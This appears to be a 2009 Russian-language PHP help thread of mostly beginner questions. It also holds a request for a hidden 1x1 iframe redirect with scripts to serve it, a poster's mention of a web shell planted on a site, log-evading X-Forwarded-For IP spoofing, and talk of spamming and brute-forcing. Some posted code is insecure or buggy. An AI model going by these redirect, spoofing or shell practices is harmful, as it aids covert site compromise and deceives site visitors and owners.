echo function_exists ('curl_init') ? 'Exists' : 'Fail';
erihtoney
28.10.2009, 12:20
А почему ведет повышению безопасности если не секрет?
Потому что экранирует спецсимволы, читай выше!
Patronik
28.10.2009, 15:25
Потому что экранирует спецсимволы, читай выше!
Чувак я знаю что функция addslashes екранируэт спецсимволы и она используеться в целях безопасности, и про mysql_real_escape_string знаю. Но там не прсто addslashes а $addslashes. Я же код виставил.
// insert into the db.
$_POST['website'] = $addslashes($_POST['website']);
$_POST['first_name'] = $addslashes($_POST['first_name']);
$_POST['second_name']= $addslashes($_POST['second_name']);
$_POST['last_name'] = $addslashes($_POST['last_name']);
$_POST['address'] = $addslashes($_POST['address']);
$_POST['postal'] = $addslashes($_POST['postal']);
$_POST['city'] = $addslashes($_POST['city']);
$_POST['province'] = $addslashes($_POST['province']);
$_POST['country'] = $addslashes($_POST['country']);
$_POST['phone'] = $addslashes($_POST['phone']);
$sql = "UPDATE ".TABLE_PREFIX."members SET website='$_POST[website]', first_name='$_POST[first_name]', second_name='$_POST[second_name]', last_name='$_POST[last_name]', dob='$dob', gender='$_POST[gender]', address='$_POST[address]', postal='$_POST[postal]', city='$_POST[city]', province='$_POST[province]', country='$_POST[country]', phone='$_POST[phone]', language='$_SESSION[lang]', private_email=$_POST[private_email], creation_date=creation_date, last_login=last_login WHERE member_id=$_SESSION[member_id]";
Patronik
28.10.2009, 15:44
Я короче вроде бы догадался для чего там записаоно $addslashes. Думаю дело в том что если на в пхп.ини включены магические кавычки то они делают работу addslashes, а если выключены то надо просто поудалять знак $ перед $addslashes чтобы заменить работу магических кавычок.
Я корочу вроде бы догадался для чего там записаоно $addslashes. Думаю дело в том что если на в пхп.ини включены магические кавычки то они делают работу addslashes, а если выключены то надо просто поудалять знак $ перед $addslashes чтобы заменить работу магических кавычок.
да ты - евгений!
________
0ph.ru
Patronik
28.10.2009, 16:13
я не эвгений и не гений, а просто хотел разобраться в скрипте с помощю форумчан так как самому не удавалось. А вместо помощи получил только "умние" короткие фразочки гуру програмирования типа "да ты - евгений!" или "Потому что экранирует спецсимволы, читай выше!"
Patronik,на поставленный тобой вопрос ,дали ответ:
данная функция отвечает за экранирование спецсимволов.
В случае если у хостинг провайдера отключена опция magic quotes применять эту функцию необходимо
________
0ph.ru
Patronik
28.10.2009, 17:18
Окей все понятно! Спасибо
А как сделать такое окно,как на сайте http://dofega.ru/soft/ ? Это не реклама! Просто вот там есть Статистика,наводим на имя юзера,а поверх всплывает окошко: когда был,какой браузер,группа и т.п. Как сделать такое же? Как внутри сделать знаю(всмысле кто и какой браузер и т.п.) а реакцию на наведение и создание мини-окна без подзагрузки?
N2kroot
google=>tooltip
________
0ph.ru
Есть форма с регистрацией. Как сделать статистику по дням ?
Есть форма с регистрацией. Как сделать статистику по дням ?
1) Как форма с регистрацией относиться к статистике?
2) Я требую более развернутый вопрос :(
mailbrush
29.10.2009, 12:53
Есть форма с регистрацией. Как сделать статистику по дням ?
Создай еще одну колонку в БД - date, и записывай туда timestamp при регистрации. Потом выводи из БД все колонки, группируя их по date. Дальше ф-цией date() форматируй и получай нужный тебе формат.
Люди регистриуются и данные заносятся в файл (не в мускул). И нунжо сделать стату по регам , сколько регнулось за день
Тоже самое,что предложил майлбруш,только используя другие функции,ведь у тебя файлы.
Ну сделай в файлах,дополнительную графу:
username=lognnn
password=paa
email=dd@nn.ru
data=21.4.2009
Дергай дату и в массиве сортируй по убыванию,или как тебе нужно.
Подскажите! Есть файл proxy.txt, как мне менять прокси не каждый раз, а через каждые 10-20 вызовов curl ?
function curl_ini(){
$proxy = file("proxy.txt");
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if (isset($proxy))
curl_setopt($ch, CURLOPT_PROXY, $proxy[rand(0, count($proxy) - 1)]);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1) Gecko/20061010 Firefox/2.0;MEGAUPLOAD 1.0");
curl_setopt($ch,CURLOPT_VERBOSE,1);
return $ch;}
Пожалуйста не посылайте читать мануалы...
mailbrush
29.10.2009, 14:39
Komyak, создай глобальную перменную, н.п. $count. В curl_ini() увеличивай её на еденицу, также проверяй, делится ли она на 10, и если да, то бери random прокси из файла с помощью ф-ций file(), array_rand().
Пожалуйста не посылайте читать мануалы...
А как же ты без этого хочешь кодить?
А как же ты без этого хочешь кодить?
Бывают моменты, когда "вижу книгу, а в ней фигу..." поэтому и спрашиваю моменты которые не понимаю. =)) Спасибо!
Книгу недостаточно видеть, ее надо вдумчиво читать =)
ANTIHАCK
29.10.2009, 15:10
Банальный вопрос :
Есть скрипт (сам пишу первый раз, не пинать)
<?php include ("config.php");
$login = $_POST['login'];
$pass = $_POST['password'];
if ($login == $log and $pass == $passw)
{
echo "";
}
else
{
echo "Хер там";
}
?>
Так вот как сделать вот тут
{
echo "";
}
переадресацию скажем на index2.php?
пробовал не echo а header("location: /index2.php");
Ругается : Warning: Cannot modify header information - headers already sent by (output started at D:\xampp\htdocs\admin\index.php:24) in D:\xampp\htdocs\admin\index.php on line 32
mailbrush
29.10.2009, 15:13
Ругается : Warning: Cannot modify header information - headers already sent by (output started at D:\xampp\htdocs\admin\index.php:24) in D:\xampp\htdocs\admin\index.php on line 32
header() надо вызывать до первого вывода тела. Т.е. до вызова header() никаких echo, print, даже любого текста до php-кода не должно быть....
ANTIHАCK
29.10.2009, 15:14
header() надо вызывать до первого вывода тела. Т.е. до вызова header() никаких echo, print, даже любого текста до php-кода не должно быть....
ясно, а как же мне тогда поступить?
mailbrush
29.10.2009, 15:16
ясно, а как же мне тогда поступить?
Я же скзал - не выводи тело до использования header()
ANTIHАCK
echo '<meta http-equiv="refresh" content="0;url="адрес">';
updated
________
0ph.ru
ANTIHАCK
29.10.2009, 15:21
ANTIHАCK
echo '<meta http-equiv="refresh" content="0;url="http://forum.antichat.ru'.$_SERVER['PHP SELF'].'">';
Чет он не работает.
mailbrush
29.10.2009, 15:23
Чет он не работает.
Юзай хедер... Его все современные двиги юзают при редиректе... Ну или на крайняк:
echo '<script>location="http://site.ru"</script>';
ANTIHАCK Что-то мне подсказывает, что Вы нас обманываете, потому что в выложенном Вами куске кода - мягко говоря не 32 строки
В самом начале инклудиться config.php
Смотри, может в нем что-то не то.
ANTIHАCK
29.10.2009, 15:39
ANTIHАCK Что-то мне подсказывает, что Вы нас обманываете, потому что в выложенном Вами куске кода - мягко говоря не 32 строки
Ну там переменные всякие были
Вот это работает:
echo '<script>location="http://site.ru"</script>';
mailbrush спасибо.
В самом начале инклудиться config.php
Смотри, может в нем что-то не то.
error в индексе а не в config.php
________
0ph.ru
Deathdreams
29.10.2009, 19:07
Банальный вопрос :
Есть скрипт (сам пишу первый раз, не пинать)
<?php include ("config.php");
$login = $_POST['login'];
$pass = $_POST['password'];
if ($login == $log and $pass == $passw)
{
echo "";
}
else
{
echo "Хер там";
}
?>
Так вот как сделать вот тут
{
echo "";
}
переадресацию скажем на index2.php?
пробовал не echo а header("location: /index2.php");
Ругается : Warning: Cannot modify header information - headers already sent by (output started at D:\xampp\htdocs\admin\index.php:24) in D:\xampp\htdocs\admin\index.php on line 32
mailbrush тут не прав.
header будет работать, если использовать не
header("location: /index2.php");
, а
@header("location: /index2.php");
.Sprite.
29.10.2009, 19:30
бразы, подскажите как вывести 6 рандомных не повторяющийся чисел от 1 до 45 через запятую?
Снова задачка,подскажите,как можно перевести время из microtime или как мили секунд
В минуты и секунды
Есть ли функции или что-то такое для конвертации?
Adekvatnyj
29.10.2009, 19:41
Следует ли професионально учить PHP для уровня спамеров - парсеров = брутеров?
Или лучше учить более подходящие для этого языки?
И вопрос почти офтопный, как настроить Curl на денвере?
mailbrush
29.10.2009, 19:48
бразы, подскажите как вывести 6 рандомных не повторяющийся чисел от 1 до 45 через запятую?
<?php
$i = 0;
$x = 0;
$numbers = array();
mt_srand(time() + rand(0, 3600));
while ($i <= 44)
{
$number = mt_rand(1, 45);
if (!in_array($number, $numbers))
{
$numbers[] = $number;
$i++;
}
}
foreach($numbers as $number)
{
echo $number.',';
}
?>
Снова задачка,подскажите,как можно перевести время из microtime или как мили секунд
В минуты и секунды
Есть ли функции или что-то такое для конвертации?
А как ты microtime() в секунды переведешь? microtime выводит в формате милисекунды секунды, например:
0.03125400 1256831244
То, что слева это милисекунды, а справа - секунды.
Следует ли професионально учить PHP для уровня спамеров - парсеров = брутеров?
Или лучше учить более подходящие для этого языки?
Нет. Ни в коем случае. Такие вещи пишутся на компилируемых языках.
И вопрос почти офтопный, как настроить Curl на денвере? Об этом есть много FAQ в поиске...
Следует ли професионально учить PHP для уровня спамеров - парсеров = брутеров?
Или лучше учить более подходящие для этого языки?
И вопрос почти офтопный, как настроить Curl на денвере?
Следует ли вообще учить язык,для того,для чего он НЕ предназначен?
2mailbrush
4372
3487
2562
2626
2203
1327
4372
3061
3734
Вот у меня выводит вот это,это получение времени игроков проведенных на сервере
Каким образом это можно конвертнуть?
В часы,минуты,секунды
.Sprite. $array = range(1,45);
shuffle($array);
$array = array_slice($array,0,6);
var_dump($array);
m0Hze А какой, собственно, предназначен?
mailbrush Каг бе) list($usec, $sec) = explode(" ", microtime());
.Sprite. $array = range(1,45);
shuffle($array);
$array = array_slice($array,0,6);
var_dump($array);
m0Hze А какой, собственно, предназначен?
mailbrush Каг бе) list($usec, $sec) = explode(" ", microtime());
Не буду говорить даже,что компилируемый.
Хотябы многопоточный.Питон,перл,р би..
Есть код который выводит нужную строку:
echo "4 X".$mass[$a]."=".(4*$mass[$a]);
Нужно чтоб эта строка выводилась не слева, а по центру. Скок уже вариантов не пробовал ни один не работает.
KaMiKadZe
29.10.2009, 20:42
Есть код который выводит нужную строку:
echo "4 X".$mass[$a]."=".(4*$mass[$a]);
Нужно чтоб эта строка выводилась не слева, а по центру. Скок уже вариантов не пробовал ни один не работает.
echo "<p align='center'>4 X".$mass[$a]."=".(4*$mass[$a])."</p>";
Блин не катит, строка выводится по центру но не сначала страницы. А мне нужно чтоб слева была одна строчка, а по центру вот эта. И эта строчка стоит в цикле, поэтому из-за тега p получаются слишком большие отступы между строками.
Никто не знает что с моей проблемой можно сделать?
Как ****** можно превратить в секунды?
KaMiKadZe
29.10.2009, 21:36
Блин не катит, строка выводится по центру но не сначала страницы. А мне нужно чтоб слева была одна строчка, а по центру вот эта. И эта строчка стоит в цикле, поэтому из-за тега p получаются слишком большие отступы между строками.
Говнокод (говноверстка)
Тогда тебе нужен css для регулирования того же тега p
А так могу тока посоветовать попробывать:
echo '<style type="text/css">
#aa{position:relative;margin-left:50%;}
</style>';
echo "<div id='aa'>4 X".$mass[$a]."=".(4*$mass[$a])."</div>";
mailbrush тут не прав.
header будет работать, если использовать не
header("location: /index2.php");
, а
@header("location: /index2.php");
1)глубоко заблуждаешься, @header("location: /index2.php"); если он до этого - не работал ,то при подстановке @ просто будет подавляться сообщение об ошибке.
2)mailbrush соизволил написать что редирект не работает потому как до него есть вывод,и по моему - он прав
________
0ph.ru
Функция time() возвращает текущую дату сервера в integer виде? Верно?
erihtoney
30.10.2009, 17:18
Функция time() возвращает текущую дату сервера в integer виде? Верно?
Дату она не возвращает.
Возвращает количество секунд, прошедших с начала Эпохи Unix
<?php
echo date("Y-m-d",time());
?>
Функция time() возвращает текущую дату сервера в integer виде? Верно?
да, возвращает в Integer
<?php
echo gettype(time());
?>
Как в cURL'e очищаются Cookie ?
К примеру я зашёл на сайт, мне дали куки и как мне их потом удалить ?
Есть ли какая-то функция для этого ?
.Sprite.
31.10.2009, 11:28
есть файл 1.txt
в нем числа с каждой строки
100
41
34
42
11
42
3
32
74
..
и т.д.
нужен скрипт который вывел бы список чисел, отсортированный по количеству повторов
число | сколько раз повторилось
14 | 10
77 | 9
23 | 8
64 | 7
..
Ну самый простой вариант.
Если кукисы в файле - unlink(file);
Если кукисы в переменной - unset($value);
.Sprite.
array_count_values()
Architek86
31.10.2009, 21:30
Народ, возможно ли объединение нескольких файлов в один без чтения самих? Например, дано 10 очень больших файла, есть способы их соединения без чтения в переменные?
Народ, возможно ли объединение нескольких файлов в один без чтения самих? Например, дано 10 очень больших файла, есть способы их соединения без чтения в переменные?
system('copy /b file1.ext + file2.ext file_return.ext');
В дополнение кагбэ:
http://www.windowsfaq.ru/content/view/237/57/
Patronik
01.11.2009, 03:18
есть файл 1.txt
в нем числа с каждой строки
нужен скрипт который вывел бы список чисел, отсортированный по количеству повторов
число | сколько раз повторилось
$fp = fopen("1.txt", "r");
While(!feof($fp))
{
$var[] = fgets($fp);
}
$var2 = array();
foreach ($var as $value)
{
if ($var2[$value])
{
$var2[$value]++;
}
else
{
$var2[$value] = 1;
}
}
foreach ($var2 as $key=>$count)
{
echo ' '.$key.' | '.$count.' <br> ';
}
Здравстуйте! По идее нужно, чтобы удалялась строка, а неполучается!
$id = (int)$_GET['id'];
if (!isset($_SESSION['psid'])) exit;
for ($i = 0; $i < count($_SESSION['psid']); $i++) {
if (!isset($_SESSION['psid'][$i])) continue;
$o = explode("##",$_SESSION['psid'][$i]);
if ($o[0] == $id) unset($_SESSION['psid'][$i]);
}
А добавляется так -
$id = (int)$_GET['id'];
$res = mysql_query("select * $table where id = $id");
if (mysql_num_rows($res) == 0) exit;
while ($row = mysql_fetch_array($res)) {
$_SESSION['psid'][] = $row['id']."##".(int)$row['p'];
echo "Добавлено: ".$row['name']."";
}
Вот, заработало ) Сделал очистку от пустых полей
<?
$SESSIONPSID=array();
foreach ($_SESSION['psid'] as $value) {
if (!empty($value)) {
$SESSIONPSID[] = trim($value);
}}
$_SESSION['psid']=$SESSIONPSID;
?>
mailbrush
01.11.2009, 19:23
']Вот, заработало ) Сделал очистку от пустых полей
<?
$SESSIONPSID=array();
foreach ($_SESSION['psid'] as $value) {
if (!empty($value)) {
$SESSIONPSID[] = trim($value);
}}
$_SESSION['psid']=$SESSIONPSID;
?>
Неправильно ты сделал...
$_SESSION['psid'] = array_map('trim', $_SESSION['psid']);
Неправильно ты сделал...
$_SESSION['psid'] = array_map('trim', $_SESSION['psid']);
Кагбе нехочу показаться глупым,но помоему соль в его посту кроеться тут:
if (!empty($value)) {
$SESSIONPSID[] = trim($value);
}
А твоё "решение",просто тримит все валуесы массива.Читай код внимательнее.
.:[melkiy]:.
01.11.2009, 21:39
При заходе на страницу, ip пользователя заносится в базу, но при повторном обновлении ip добавляется опять! Как сделать чтобы ip каждого юзера добавлялся один раз? т.е чтобы не было копий...
mailbrush
01.11.2009, 21:43
:.']При заходе на страницу, ip пользователя заносится в базу, но при повторном обновлении ip добавляется опять! Как сделать чтобы ip каждого юзера добавлялся один раз? т.е чтобы не было копий...
Перед добавлением проверяй айпи на существование в базе.
.:[melkiy]:.
01.11.2009, 21:44
Перед добавлением проверяй айпи на существование в базе.
Это понятно... Код можно?
..::TROYAN::..
01.11.2009, 21:46
:.']Это понятно... Код можно?
в аську скинул
<?php
$ip=$_SERVER["REMOTE_ADDR"];
$file=file('ip.txt');
$checkip=in_array($file, $ip);
$fp=fopen($file, "a+");
fwrite($fp, "$ip\r\n");
fclose($fp);
?>
тестить надо :)
<?php
$ip=$_SERVER["REMOTE_ADDR"];
$file=file('ip.txt');
$checkip=in_array($file, $ip);
$fp=fopen($file, "a+");
fwrite($fp, "$ip\r\n");
fclose($fp);
?>
тестить надо :)
in_array(значение,массив);
и что же делает $checkip?,мб условие для приличия напишешь ?
________
0ph.ru
in_array(значение,массив);
и что же делает $checkip?,мб условие для приличия напишешь ?
Исправь если не сложно, сам учусь
помойму так:
if ($checkip==0) {
$fp=fopen($file, "a+");
fwrite($fp, "$ip\r\n");
fclose($fp);
}
mailbrush
01.11.2009, 23:12
DeluxeS, говорилось о БД, а не о файлах.
Здравствуйте. Недавно начал работать с БД. Написал маленький движок. Тестировал его на денвере, все нормально работает. Все свое творение залил на хост и решил там протестировать его работу. Но вот проблема. Добавляю новость а в результате получаю одни иероглифы типа
??????????? ????? ????
Как решить проблему? Подскажите советом.
А какая кодировка у движка используется? Нужно выставить такую же кодировку соединения с MySQL.
Если выводятся вопросы то после соединения с сервером выполняй запрос
set names кодировка
Где кодировка должен соответствовать кодировке, в которой выводятся страницы на сайте.
например:
set names utf8
Если это не помогло, и всё равно идут вопросики или крокозябры - значит, криво настроена кодировка таблиц.
Начиная с PHP 5.2.3 можно использовать mysql_set_charset('кодировка')
http://ru2.php.net/manual/en/function.mysql-set-charset.php
d_x, спасибо прописал в файле соединения с базой данных следующий код
@mysql_query ("set character_set_client='cp1251'");
@mysql_query ("set character_set_results='cp1251'");
@mysql_query ("set collation_connection='cp1251_general_ci'");
И все корректно заработало. Спасибо.
помогите сделать хороший чат на http://parischat.biz
надо добавить функции:)
Insane bboy
02.11.2009, 14:46
я очень плохо разбираюсь в регулярных выражениях, так что у меня трабла,:
Если есть в переменной к примеру $_POST['text'] слово которое больше 40 символов то вставлять каждые 40 символов '<br>'(ну если слово к примеру 120 знаков то 3 <br> и тд);
чтоб при вставке текста из этой переменной эта хрень не портила таблицы и тд:)
$text = 'Hellollbotyaebalvrot';
echo preg_replace('#(\w){4}#','$0<br>',$text);
Все окей.
Deathdreams
02.11.2009, 15:07
Insane bboy,
http://php.net/manual/en/function.wordwrap.php
Engineer
02.11.2009, 17:20
Добрый день! Нужно сформировать запрос к определенной страничке посредством прокси сервера, как это реализовать?
библиотека cURL параметры:
CURLOPT_PROXY
CURLOPT_PROXYUSERPWD
CURLOPT_PROXYAUTH
CURLOPT_PROXYPORT
CURLOPT_PROXYTYPE
[link me] (http://ru.php.net/manual/en/function.curl-setopt.php)
библиотека cURL параметры:
CURLOPT_PROXY
CURLOPT_PROXYUSERPWD
CURLOPT_PROXYAUTH
CURLOPT_PROXYPORT
CURLOPT_PROXYTYPE
[link me] (http://ru.php.net/manual/en/function.curl-setopt.php)
Как пример:
curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
Engineer
02.11.2009, 17:29
О спасибо большое. А без использования сюрл это канибудь можно сделать?
О спасибо большое. А без использования сюрл это канибудь можно сделать?
http://snoopy.sourceforge.net/
<?php
$fp = fsockopen("192.168.240.2", 3128) or die("Can't");
fputs($fp,"GET http://www.rambler.ru HTTP/1.0\r\nHost: 192.168.240.2\r\n\r\n");
while(!feof($fp)) {
echo fgets($fp,128);
}
fclose($fp);
?>
Возникла проблема не знаю как подсчитать количество вхождения заданного слова в текст, т.е. задано слово допустим "Утюг" и некоторый текст, нужно подсчыитать как часто это слово встречаеться.
Спасибо.
Engineer, можешь использовать http://kaimi.ru/2009/03/класс-для-работы-с-сокетами/
Тогда примерно так:
$s=new websock('www.rambler.ru',80,0);
$s->set_proxy('1.2.3.4','3128');
$ret=$s->get();
print $ret[1]; //[0] - заголовки, [1] - тело ответа
m0Hze, в заголовке Host нужно указывать rambler.ru, а не адрес прокси-сервера.
Engineer, можешь использовать http://kaimi.ru/2009/03/класс-для-работы-с-сокетами/
Тогда примерно так:
$s=new websock('www.rambler.ru',80,0);
$s->set_proxy('1.2.3.4','3128');
$ret=$s->get();
print $ret[1]; //[0] - заголовки, [1] - тело ответа
m0Hze, в заголовке Host нужно указывать rambler.ru, а не адрес прокси-сервера.
Пример по запросу гугля: php и прокси
Ко мне никаких претензий :)
Чмоке в счоке.
Gin,
<?php
$word='слово';
$text="текст слово слово текст слово, текстсловотекст,\r\n слово";
print preg_match_all("/\b$word\b/is",$text,$m);
?>
2d_x
Ругаеться что-то пишет Unknown modifier '/'
2d_x
Ругаеться что-то пишет Unknown modifier '/'
print preg_match_all('#\b'.$word.'\b#is',$text,$m);
P.S. Если слово нужно просто найти,то:
http://ru.php.net/manual/en/function.strpos.php
А если посчитать колво вхождений,можно сделать так как сказал д_х,и считать count($m[1]);
Или же,перевести текст в массив и array_count_values; вроде так
php код :
$i=1;
$e=2
$s = mysql_fetch_assoc(mysql_query("SELECT * FROM `off` ORDER BY `off`.`count` DESC LIMIT '$i', '$e'"));
echo $s['what'];
Ошибка :
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /opt/lampp/htdocs/mp3/file.php on line 13
Как исправить проблему ?
Pashkela
02.11.2009, 22:23
ORDER BY `off`.`count`
Извиняюсь, такую канстракшион первый раз вижу - это что вообще должно означать?
если просто
ORDER BY `count`
то почему бы просто так и не написать?
сортировка по полю каунт таблицы офф)
Pashkela
02.11.2009, 22:27
когда идет
select * from табла
то тут указывать имя таблицы в ORDER, где идет ORDER по полю и указывать принадлежность этого поля к этой таблица нафиг не надо - оно или там есть, или его там нет, а название поля в табле и так уникально по определению
PS: Правда я вместо "поле" предпочитаю "колонка" называть
когда идет
select * from табла
то тут указывать имя таблицы в ORDER, где идет ORDER по полю и указывать принадлежность этого поля к этой таблица нафиг не надо
Пример можна ? Если вот такой запрос даю то правельно мне выводит в phpmyadmin
SELECT * FROM `off` ORDER BY `off`.`count` DESC LIMIT 1,2
Пример как нужно можна ? А вот на пхп почему то не хочет делать то, хотя просто переменную цыфровые вношу.
в данном случае ошибка в апострофах после лимита - их следует убрать
Pashkela
02.11.2009, 22:35
2 ZEXEL:
Пожалуйста, вот реальный пример с живого сайта:
$start = $_GET['start'];
$start = intval ($start);
if ($start<0) $start = $start*(-1);
$limit=50;
$query = "select * from `jokes` where status='1' order by `id` desc LIMIT $start, $limit";
$result=mysql_query($query) or die('Произошла ошибка, обратитесь к администрации');
while($viewjokes=mysql_fetch_array($result)){
echo $viewjokes['name'];
.....
}
Engineer
02.11.2009, 23:23
<?php
$fp = fsockopen("192.168.240.2", 3128) or die("Can't");
fputs($fp,"GET http://www.rambler.ru HTTP/1.0\r\nHost: 192.168.240.2\r\n\r\n");
while(!feof($fp)) {
echo fgets($fp,128);
}
fclose($fp);
?>
Вот это то что надо! А как сюда интегрировать еще юзер агент?
GET http://www.rambler.ru HTTP/1.0\r\nHost: 192.168.240.2\r\nUser-Agent: Fyrefoks\r\n\r\n
Deathdreams
03.11.2009, 15:53
User-Agent: Fyrefoks
:D
[Dead]Demon
04.11.2009, 12:57
народ, кто нить знает какие нить форум или сайты по изучению языков программирования,словарик, создание серверов,форумов и т.д?
mailbrush
04.11.2009, 13:17
Demon']народ, кто нить знает какие нить форум или сайты по изучению языков программирования,словарик, создание серверов,форумов и т.д?
google.co,
_Pantera_
04.11.2009, 18:56
Делая свою мини CMS столкнулся с такой, не то проблемой, не то неудобством. У меня имеется табличка:
CREATE TABLE `news` (
`id_news` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`photo_value` INT NOT NULL,
`theme` TEXT NOT NULL ,
`mess` TEXT NOT NULL ,
`photo1` TEXT NOT NULL ,
`photo2` TEXT NOT NULL
) ENGINE = MYISAM ;
Где мы вводим название темы, саму тему и если есть, изображение. Новость выводиться разумеется полностью.
Я же хочу сделать еще "превью" новости. Собственно можно б было добавить еще одно поле в табличку для "превью" и заносить отдельно его и отдельно новость, но способ мне не сильно нравиться. Хочется саму БД оставить как есть. То есть я добавляю новость и она заноситься в "mess". после чего надо в "превью" вывести первые 1000 символов, а в полной версии разумеется все. Как это сделать?? через цикл перебирать или есть какие нибудь более актуальные способы для "превью"?
Pashkela
04.11.2009, 19:04
if (strlen($funny_joke)<=1000) {
echo $funny_joke;
} else {
echo substr($funny_joke,0,1000) . "...\n";
print "<A target='_blank' href='view-".$jokelink."-".$viewjokes['id'].".html'><b>Анекдот целиком</b></a>";
}
Nightmarе
05.11.2009, 00:44
Хотелось бы спросить про такую вещь, не знаю как называется настройка в конфиге php.
В общем смысл в том, что если зайти на сайт с такого же IP адреса на котором висит данный сайт + с заголовком «HTTP_X_FORWARDED_FOR», то он вместо айпи адреса начинает определять всё, что написано в передаваемом заголовке «HTTP_X_FORWARDED_FOR», работает не везде, но на многих сайтах, естественно так и апачевые логии дурить можно.
Вот хотелось бы узнать какая опция в php конфиге отвечает за это безобразие.
Как вы сами заметили, эта опция появляется не всегда,а именно когда соединение идет через прокси и она содержит IP адрес клиента, полученный в момент подключения к провайдеру.Плюс к тому если proxy-server анонимный (или лучше сказать "анонимизирующий" - anonimizer), то HTTP_X_FORWARDED_FOR появляться не будет - вы будете получать IP proxy-сервера в REMOTE_ADDR как будто запрос был инициирован оттуда...
А если прокси "полу-анонимный" может быть установлена переменная HTTP_X_FORWARDED - т.е. запрос шел через прокси но откуда не скажу.
Также может быть переменная сообщающая програмное обеспечение прокси.
В phpMyAdmin есть специальный массив, который можно заполнить доверенными прокси-серверами, заголовку HTTP_X_FORWARDED от которых можно доверять.Добавить в него адресс можно вот так:
$cfg['TrustedProxies'] = array('1.2.3.4' => 'HTTP_X_FORWARDED_FOR');
В этом примере phpMyAdmin предписано доверять заголовку HTTP_X_FORWARDED_FOR (X-Forwarded-For) полученному от прокси 1.2.3.4
Nightmarе
05.11.2009, 06:05
Нет. Наличие\отсутствие поля FORWARDED_FOR НИКАКОЙ разницы не играет. Я и так прекрасно знаю что такое прокси, и что такое анонимные или нет прокси.
Я говорю про конкретно поддельный запрос.
Повесили мы шелл на сайт, далее мы вешаем скрипт который записывает переменую $_SERVER['REMOTE_ADDR'];
А далее с этого же шелла шлём ему запрос с полем FORWARDED_FOR где будет что угодно, и вот именно это значение и будет определяться вместо реального IP.
Важные условия для исполнения:
1) Айпи запроса и сайта должны совпадать.
2) Поддельный айпи будет именно в глобальном массиве REMOTE_ADDR а не в FORWARDED_FOR
вот содержимое text.txt:
sada
asdasd
asd
as
делаю include "text.txt";
выходит на страницу:
sada asdasd asd as
как можно вывести построчно этот фаил?
mailbrush
05.11.2009, 10:42
']вот содержимое text.txt:
sada
asdasd
asd
as
делаю include "text.txt";
выходит на страницу:
sada asdasd asd as
как можно вывести построчно этот фаил?
Выводит точно такой же файл, ты исходник посмотри, просто браузер не интерпретирует перенос строки как новую строку, поэтому юзай nl2br();
echo nl2br(file_get_contents('file.txt'));
поэтому юзай nl2br();
о, спасибо! а то уже с этим смирился )) :
$file = file("about.txt");
for ($i=0;$i<count($file);$i++) echo $file[$i]."<br />";
restart_05
05.11.2009, 17:21
Имеется функция
function filtered($name) {
$name = preg_replace("/([^\s]{20})/", "... ", $name); // WRAP LONG WORDS
return $name;
}
Мне нужно чтобы она оставляла первые 20 символов, остальные заменяла на ...
Заметил такую проблему . Задача : скопировать картинку с сервера и записать ее в файл .
$img = file_get_contents('http://www.avanti-auto.ru/'.$imgsmall[1]);
$img2 = fopen('/'.$data['folder'].'\\thumbs\\'.$imgname[$i],"w");
fwrite($img2,$img);
fclose($img2);
Проблема в том , что скопированная картинка по каким-то непонятный причинам имеет максимальный размер ровно 50 000 байт , если картинка больше , то все что свыше заполняется черными пикселями . В чем может быть проблема ?
Alpha][ $img2 = fopen('/'.$data['folder'].'\\thumbs\\'.$imgname[$i],"wb");
Или проще: file_put_contents('/'.$data['folder'].'\\thumbs\\'.$imgname[$i], file_get_contents('http://www.avanti-auto.ru/'.$imgsmall[1]));
restart_05 function filtered($name) {
if (strlen($name)<=20) return name;
return substr($name,0,20).'... ';
}
stornitto24
05.11.2009, 18:01
Помогите чайнику
есть рес, можно вставить <iframe src="http://мойдомен.com/redir.php" frameborder="0" width="1" height="1">
что должно быть в REDIR.PHP чтобы редиректило на нужный ресурс.
Помогите !!!
Помогите пожалуйста решить задачу.
Есть форма, в этой форме 3 радиокнопки и кнопка submit, пользователь выбирает вариант и нажимает submit, результат должен запомнится и показаться на следующей странице. И так 20 раз.
Вообщем, простой тест для пользователя, но чтобы правильно/неправильно показывалось на последующих страницах.
Как такое лучше осуществить подскажите пожалуйста
Gifts
Не помогло =( все равно обрезает картинку ровно на 50 000 байт .
Deathdreams
06.11.2009, 00:53
Выручайте
Никак не получается функция, которая даёт по порядку прокси из файла.
Вот система - первый вызов: [0] прокси в массиве
Последующий вызов : текщий + 1
И самый важный момент: Если прокси последняя в массиве, то начать с самого начала.
Gifts
причем заметил , что файлы формата jpeg нормально сохраняются , а вот png нет .
Помогите пожалуйста решить задачу.
Есть форма, в этой форме 3 радиокнопки и кнопка submit, пользователь выбирает вариант и нажимает submit, результат должен запомнится и показаться на следующей странице. И так 20 раз.
Вообщем, простой тест для пользователя, но чтобы правильно/неправильно показывалось на последующих страницах.
Как такое лучше осуществить подскажите пожалуйста
создай сессионную переменную и храни значения в ней.
Помогите чайнику
есть рес, можно вставить <iframe src="http://мойдомен.com/redir.php" frameborder="0" width="1" height="1">
что должно быть в REDIR.PHP чтобы редиректило на нужный ресурс.
Помогите !!!
<?php
header('Location: http://mysite.com');
?>
stornitto24
06.11.2009, 05:18
<?php
header('Location: http://mysite.com');
?>
к сожалению этот код не срабатывает, есть еще какой либо вариант ?
stornitto24
Должно работать 100%
У тебя в файле redir.php есть еще что-либо?
KaZ@NoVa
06.11.2009, 11:08
Помогите чайнику
есть рес, можно вставить <iframe src="http://мойдомен.com/redir.php" frameborder="0" width="1" height="1">
что должно быть в REDIR.PHP чтобы редиректило на нужный ресурс.
Помогите !!!
redir.php =>
<?php
# на всякий случай - нельзя допустить никакого вывода перед хэдерами
ob_start();
# URL куда редиректить
$url = 'http://darkstar';
# тут вот можно провести какие-либо действия с полученными данными, например
# уничтожить аутпут буффер
ob_end_clean();
# Вариант 1 - для apache/nginx/прочих серверов на *nix
header("Location: $url",true,302);
exit;
# Вариант 2 - для IIS/прочих серверов на Windows
header("Refresh: 0;url=$url");
exit;
# Вариант 3 - если вышеприведенные не работают
echo '<html><head><meta http-equiv="refresh" content="0; url='.$url.'"></head><body></body></html>';
exit;
# сразу все, понятное дело, не использовать
?>
stornitto24
